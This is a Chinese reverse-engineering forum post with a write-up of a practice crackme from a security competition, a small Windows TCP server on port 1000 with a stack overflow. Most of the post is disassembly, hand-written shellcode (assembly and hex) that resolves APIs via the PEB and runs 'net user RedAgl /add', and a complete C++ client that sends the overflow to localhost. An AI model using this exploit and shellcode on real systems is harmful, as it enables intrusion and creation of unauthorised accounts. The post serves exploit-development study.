吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 13262|回复: 95
收起左侧

[UnPackMe] 【新年礼物】简单CM分析

[复制链接]
回帖奖励 32 CB吾爱币 回复本帖可获得 2 CB吾爱币奖励! 每人限 1 次
RedAngel丶 发表于 2014-1-30 11:17
CM是什么?Crackme是什么?这是什么东西?楼主发的什么?
他们都是一些公开给别人尝试破解的小程序,制作 Crackme 的人可能是程序员,想测试一下自己的软件保护技术,也可能是一位 Cracker,想挑战一下其它 Cracker 的破解实力,也可能是一些正在学习破解的人,自己编一些小程序给自己破解,KeyGenMe是要求别人做出它的 keygen (序号产生器), ReverseMe 要求别人把它的算法做出逆向分析, UnpackMe 是要求别人把它成功脱壳,本版块禁止回复非技术无关水贴。

本帖最后由 RedAngel丶 于 2014-1-30 13:35 编辑

【文章标题】: 简单CM分析
【文章作者】: RedAgl
【软件名称】: 2012-2013"凌码杯"信息安全大赛-逆向部分(Crackme5)
【软件大小】: 35.0KB
【下载地址】:
【保护方式】: 无
【使用工具】: IDA,OD,VC
【操作平台】: xp
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【CM截图】


【详细过程】
  打开程序,用Telnet连接服务器不久后,会自动断开,很奇怪?
  
一.程序分析
  从入口点向下看,可以看到DialogBoxParam,得到DialogFun:0x401687
  进入WM_INITDIALOG获取到一些信息:
  INADDR_ANY:1000
  1.创建TCP套接字
    如果失败则退出程序
  2.绑定IP
    如果失败则退出程序
  3.监听,最大等待队列为5
  4.创建线程进行连接操作.listen_ThreadFun:0x40147A
  
  进入listen_ThreadFun:
  1.接受连接
    如果失败则延迟1000ms,再循环
  2.发现断开原因了:
     
[C++] 纯文本查看 复制代码
    .text:004014CE                 call    accept
    .text:004014D4                 mov     [ebp+s], eax
    .text:004014D7                 cmp     [ebp+s], 0FFFFFFFFh
    .text:004014DB                 jnz     short loc_4014EA
    .text:004014DD                 push    3E8h
    .text:004014E2                 call    Sleep
    .text:004014E8                 jmp     short loc_4014A7
    .text:004014EA                 mov     eax, [ebp+s]
    .text:004014ED                 push    eax 
    .text:004014EE                 call    Operation
    .text:004014F3                 mov     eax, [ebp+s]
    .text:004014F6                 push    eax
    .text:004014F7                 call    closesocket
    .text:004014FD                 jmp     short loc_4014A7
  
    可以从上面代码看出,接受连接后并没有创建线程进行循环收发数据,而是经过Operation函数处理后直接关闭套接字
   
   进入Operation函数:
[C++] 纯文本查看 复制代码
  .text:004013DD                 lea     eax, [ebp+var_40]
  .text:004013E0                 push    eax
  .text:004013E1                 mov     eax, [ebp+s]
  .text:004013E4                 push    eax
  .text:004013E5                 call    _recv
  .text:004013EA                 cmp     dword_405004, 1   ; 判断A
  .text:004013F1                 jz      loc_40146F
  .text:004013F7                 cmp     dword_405000, 0   ; 判断B
  .text:004013FE                 jz      short loc_4013DD
  
   有二个判断,进入_recv函数:
[C++] 纯文本查看 复制代码
  .text:0040135B                 mov     [ebp+var_4], eax
  .text:0040135E                 cmp     [ebp+var_4], 0FFFFFFFFh
  .text:00401362                 jnz     short loc_401373
  .text:00401364                 mov     dword_405004, 1    ; 标志,无"end"字串,置1
  .text:0040136E                 jmp     loc_4013B3
  .text:00401373                 cmp     [ebp+var_4], 1
  .text:00401377                 jnz     loc_4013B3
  .text:0040137D                 inc     [ebp+var_8]
  .text:00401380                 cmp     [ebp+var_8], 3
  .text:00401384                 jle     short loc_401347
  .text:00401386                 push    3
  .text:00401388                 push    offset aEnd     ; "end"
  .text:0040138D                 mov     eax, [ebp+var_8]
  .text:00401390                 mov     edx, [ebp+arg_4]
  .text:00401393                 lea     eax, [edx+eax-3]
  .text:00401397                 push    eax
  .text:00401398                 call    sub_4018A0
  .text:0040139D                 add     esp, 0Ch
  .text:004013A0                 cmp     eax, 0
  .text:004013A3                 jnz     short loc_401347
  .text:004013A5                 mov     dword_405000, 1    ; 标志,获取成功返回,置1
  .text:004013AF                 jmp     short loc_4013B3
  
  从上可以得知:
  [405004]置1,为没检测到"end"
  [405000]置1,为获取成功返回
  
  很直观的看出Operation函数的判断A是如没检测到"end",便直接跳出循环,关闭套接字
  我们可以不管有没有"end"这个字符串,因为它已经接收数据,并且把缓冲区溢出了.....

  二.定位点
  可以在od中定位,本人这里用枚举的方式
  
  
  从图中可以看出,在数据长度为68时出错,修改代码并用od验证下:
  
  
  只要在retu处跳到要修改的位置便可
  
三.ShellCode编写
  貌似此cm对空字符不感冒,但还是使用正常点的ShelloCode吧
  思路:
  1.利用PEB获取kernel32.dll基址
  2.枚举kernel32.dll里的导出表,获取GetProcAddress函数地址
  3.用GetProcAddress获取GetModuleHandle函数地址
  4.用GetModuleHandle获取msvcrt.dll.(因为程序己加载msvcrt.dll.如果没有,请用LoadLibrary)
  5.使用msvcrt.system("net user RedAgl /add")来创建受限帐户
  6.怕程序异常,使用ExitProcess退出程序(好吧,暂不懂的如何平衡=. =)

  ShellCode原型:
  
[C++] 纯文本查看 复制代码
__asm
        {
                push ebp;
                mov ebp,esp;
                sub esp,64;
                xor eax,eax
                mov eax,fs:[eax+0x30];
                mov eax,[eax+0x0C];
                mov esi,[eax+0x1C];
                lodsd;
                mov edi,[eax+0x08];      //kernel32.dll BaseImage
                
                mov eax,[edi+0x3c];
                mov edx,[edi+eax+0x78];
                add edx,edi
                mov ecx,[edx+0x18];      //导出函数总数
                mov ebx,[edx+0x20];      //导出函数名称地址表RVA
                add ebx,edi;             //导出函数名称地址表->内存地址
s:
                dec ecx;
                //cmp ecx,-1;
                //jle end;
                mov esi,[ebx+ecx*4];     //获取函数名称RVA
                add esi,edi;             //获取函数名称内存地址
                // GetProcAddress
                mov eax,0x50746547;
                cmp [esi],eax;
                jne s;
                mov eax,0x41636f72;
                cmp [esi+4],eax;
                jne s;
                //循环结束

                //如果找到函数名
                mov ebx,[edx+0x24];     //获取函数序号RVA
                add ebx,edi;            //获取函数序号内存地址
                mov cx,[ebx+ecx*2];     //计算出序号值
                mov ebx,[edx+0x1c];     //导出函数地址表RVA
                add ebx,edi;            //导出函数地址表内存地址
                mov eax,[ebx+ecx*4];
                add eax,edi;            //函数地址

                //找到后地址后,现在要GetProcAddress(edi, "GetModuleHandleA")
                mov dword ptr ss:[ebp-4],eax //保存GetProcAddress函数地址
                xor ecx,ecx;
                mov byte ptr ss:[ebp-5],cl
                mov dword ptr ss:[ebp-9],0x41656C64
                mov dword ptr ss:[ebp-13],0x6E614865;
                mov dword ptr ss:[ebp-17],0x6C75646F;
                mov dword ptr ss:[ebp-21],0x4D746547;
                lea eax,[ebp-21];
                push eax;
                push edi;
                call dword ptr ss:[ebp-4];
                mov [ebp-8],eax //保存GetModuleHandleA函数地址

                
                //GetModuleHandleA("msvcrt");
                xor ecx,ecx;
                mov byte ptr ss:[ebp-9],cl;
                mov word ptr ss:[ebp-11],0x7472;
                mov dword ptr ss:[ebp-15],0x6376736D;
                lea eax,[ebp-15];
                push eax;
                call dword ptr ss:[ebp-8];
                mov dword ptr ss:[ebp-12],eax;
                
                //获取system函数地址:GetProcAddress([ebp-12], "system")
                xor ecx,ecx;
                mov byte ptr ss:[ebp-13],cl;
                mov word ptr ss:[ebp-15],0x6D65;
                mov dword ptr ss:[ebp-19],0x74737973;
                lea eax,[ebp-19];
                push eax;
                push dword ptr ss:[ebp-12];
                call dword ptr ss:[ebp-4];
                mov dword ptr ss:[ebp-16],eax;

                //system(net user RedAgl /add);
                xor ecx,ecx;
                mov dword ptr ss:[ebp-20],ecx;
                mov dword ptr ss:[ebp-24],0x6464612F;
                mov dword ptr ss:[ebp-28],0x206C6741;
                mov dword ptr ss:[ebp-32],0x64655220;
                mov dword ptr ss:[ebp-36],0x72657375;
                mov dword ptr ss:[ebp-40],0x2074656E;
                lea eax,[ebp-40];
                push eax;
                call dword ptr ss:[ebp-16];
end:
                //获取ExitProcess函数地址.GetProcAddress(edi,"ExitProcess")
                xor ecx,ecx
                mov byte ptr ss:[ebp-17],cl;
                mov word ptr ss:[ebp-19],0x7373;
                mov byte ptr ss:[ebp-20],0x65;
                mov dword ptr ss:[ebp-24],0x636F7250;
                mov dword ptr ss:[ebp-28],0x74697845;
                lea eax,dword ptr ss:[ebp-28];
                push eax;
                push edi;
                call dword ptr ss:[ebp-4]
                //结束进程
                xor ecx,ecx
                push ecx
                call eax

                add esp,64;
                pop ebp;
                ret;

ShellCode十六进制:
55 8B EC 83 EC 40 33 C0 64 8B 40 30 8B 40 0C 8B 70 1C AD 8B 78 08 8B 47 3C 8B 54 07 78 03 D7 8B
4A 18 8B 5A 20 03 DF 49 8B 34 8B 03 F7 B8 47 65 74 50 39 06 75 F1 B8 72 6F 63 41 39 46 04 75 E7
8B 5A 24 03 DF 66 8B 0C 4B 8B 5A 1C 03 DF 8B 04 8B 03 C7 36 89 45 FC 33 C9 36 88 4D FB 36 C7 45
F7 64 6C 65 41 36 C7 45 F3 65 48 61 6E 36 C7 45 EF 6F 64 75 6C 36 C7 45 EB 47 65 74 4D 8D 45 EB
50 57 36 FF 55 FC 89 45 F8 33 C9 36 88 4D F7 66 36 C7 45 F5 72 74 36 C7 45 F1 6D 73 76 63 8D 45
F1 50 36 FF 55 F8 36 89 45 F4 33 C9 36 88 4D F3 66 36 C7 45 F1 65 6D 36 C7 45 ED 73 79 73 74 8D
45 ED 50 36 FF 75 F4 36 FF 55 FC 36 89 45 F0 33 C9 36 89 4D EC 36 C7 45 E8 2F 61 64 64 36 C7 45
E4 41 67 6C 20 36 C7 45 E0 20 52 65 64 36 C7 45 DC 75 73 65 72 36 C7 45 D8 6E 65 74 20 8D 45 D8
50 36 FF 55 F0 33 C9 36 88 4D EF 66 36 C7 45 ED 73 73 36 C6 45 EC 65 36 C7 45 E8 50 72 6F 63 36
C7 45 E4 45 78 69 74 36 8D 45 E4 50 57 36 FF 55 FC 33 C9 51 FF D0 83 C4 40 5D C3
 }


编写代码,测试下:



最终源码:
[C++] 纯文本查看 复制代码
#include <iostream>
#include "windows.h"
#pragma comment(lib, "ws2_32.lib")
using namespace std;

void _close(SOCKET);

char ShellCode[] = 
"\x12\x45\xFA\x7F\x41\x41\x41\x41"
"\x55\x8B\xEC\x83\xEC\x40\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x78\x08\x8B\x47\x3C\x8B\x54\x07\x78\x03\xD7\x8B"
"\x4A\x18\x8B\x5A\x20\x03\xDF\x49\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7"
"\x8B\x5A\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B\x04\x8B\x03\xC7\x36\x89\x45\xFC\x33\xC9\x36\x88\x4D\xFB\x36\xC7\x45"
"\xF7\x64\x6C\x65\x41\x36\xC7\x45\xF3\x65\x48\x61\x6E\x36\xC7\x45\xEF\x6F\x64\x75\x6C\x36\xC7\x45\xEB\x47\x65\x74\x4D\x8D\x45\xEB"
"\x50\x57\x36\xFF\x55\xFC\x89\x45\xF8\x33\xC9\x36\x88\x4D\xF7\x66\x36\xC7\x45\xF5\x72\x74\x36\xC7\x45\xF1\x6D\x73\x76\x63\x8D\x45"
"\xF1\x50\x36\xFF\x55\xF8\x36\x89\x45\xF4\x33\xC9\x36\x88\x4D\xF3\x66\x36\xC7\x45\xF1\x65\x6D\x36\xC7\x45\xED\x73\x79\x73\x74\x8D"
"\x45\xED\x50\x36\xFF\x75\xF4\x36\xFF\x55\xFC\x36\x89\x45\xF0\x33\xC9\x36\x89\x4D\xEC\x36\xC7\x45\xE8\x2F\x61\x64\x64\x36\xC7\x45"
"\xE4\x41\x67\x6C\x20\x36\xC7\x45\xE0\x20\x52\x65\x64\x36\xC7\x45\xDC\x75\x73\x65\x72\x36\xC7\x45\xD8\x6E\x65\x74\x20\x8D\x45\xD8"
"\x50\x36\xFF\x55\xF0\x33\xC9\x36\x88\x4D\xEF\x66\x36\xC7\x45\xED\x73\x73\x36\xC6\x45\xEC\x65\x36\xC7\x45\xE8\x50\x72\x6F\x63\x36"
"\xC7\x45\xE4\x45\x78\x69\x74\x36\x8D\x45\xE4\x50\x57\x36\xFF\x55\xFC\x33\xC9\x51\xFF\xD0\x83\xC4\x40\x5D\xC3"
"\x65\x6E\x64";


int main()
{
        WSADATA stWSAData = {0};
        sockaddr_in stSin = {0};
        char buf[1024] = {0}; 
        
        memset(buf, 'A', 68);
        memcpy(buf+68, ShellCode, sizeof(ShellCode)-1);

        stSin.sin_family                        = AF_INET;
        stSin.sin_port                                = htons(1000);
        stSin.sin_addr.S_un.S_addr        = inet_addr("127.0.0.1");

        WSAStartup(0x0202, &stWSAData);
        SOCKET hS = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
        if(hS == INVALID_SOCKET)
        {
                _close(hS);
                system("pause");
                return 0;
        }
        int c = connect(hS, (sockaddr *)&stSin, sizeof(stSin));
        if(c == SOCKET_ERROR)
        {
                _close(hS);
                system("pause");
                return 0;
        }
        
        cout<<"-->连接服务器成功"<<endl;
        send(hS, buf, sizeof(buf)-1, 0);
        cout<<"-->发送成功"<<endl;

        _close(hS);
        system("pause");
        return 0;
}

//
// 目的: 扫尾
//
void _close(SOCKET s)
{
        if(s != -1)
        {
                closesocket(s);
        }
        WSACleanup();
}


--------------------------------------------------------------------------------
【经验总结】
    这是我刚注册论坛时,有人发了该系统(1-5)cm,当时什么都不会,第5题更不知要干什么?经过一年的学习,现在翻出来,发
  现是非常简单的.
    本人认为此cm不算为测试强度,而是对初学者的练习,算练习性的cm吧
    这破文算是对自己的一个鼓励
    在这里祝大家新年快乐,发红包喽
--------------------------------------------------------------------------------
【版权声明】: 本文原创于RedAgl, 转载请注明作者并保持文章的完整, 谢谢!




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册[Register]

x

免费评分

参与人数 8热心值 +8 收起 理由
双菜鱼 + 1 - -感觉有编程基础的人好牛逼.谢谢大大分析
L4Nce + 1 nice
Lesa + 1 新年快乐!
Cari丶 + 1 好猥琐的cm
℡Black星辰 + 1 膜拜小红帽大大,完全看不懂的节奏
火钳嘎子 + 1 分析的不错 支持楼主
hzg303 + 1 新年礼物
吾爱扣扣 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

禁止盗版 发表于 2015-1-23 19:26

回帖奖励 +2 CB吾爱币

支持                  支持                  
吾爱扣扣 发表于 2014-1-30 11:17

回帖奖励 +2 CB吾爱币

膜拜大牛! 研究shellcode这么勤奋!
system° 发表于 2014-1-30 11:21
hzg303 发表于 2014-1-30 11:21

回帖奖励 +2 CB吾爱币

呵呵,今天还发教程呀,

点评

最后一天,发文章纪念下  发表于 2014-1-30 11:24
索马里的海贼 发表于 2014-1-30 11:23

回帖奖励 +2 CB吾爱币

不明觉厉  .
553565220 发表于 2014-1-30 11:24

回帖奖励 +2 CB吾爱币

虽然不懂  但还是顶一个   
孤单的梦丶 发表于 2014-1-30 11:25

回帖奖励 +2 CB吾爱币

学习了!
Focus丶孒涵 发表于 2014-1-30 11:26

回帖奖励 +2 CB吾爱币

回帖有奖励!
头像被屏蔽
夜的静night 发表于 2014-1-30 11:30

回帖奖励 +2 CB吾爱币

提示: 作者被禁止或删除 内容自动屏蔽
Davis 发表于 2014-1-30 11:31

回帖奖励 +2 CB吾爱币

大神啊 我也正在学习
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 19:27

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表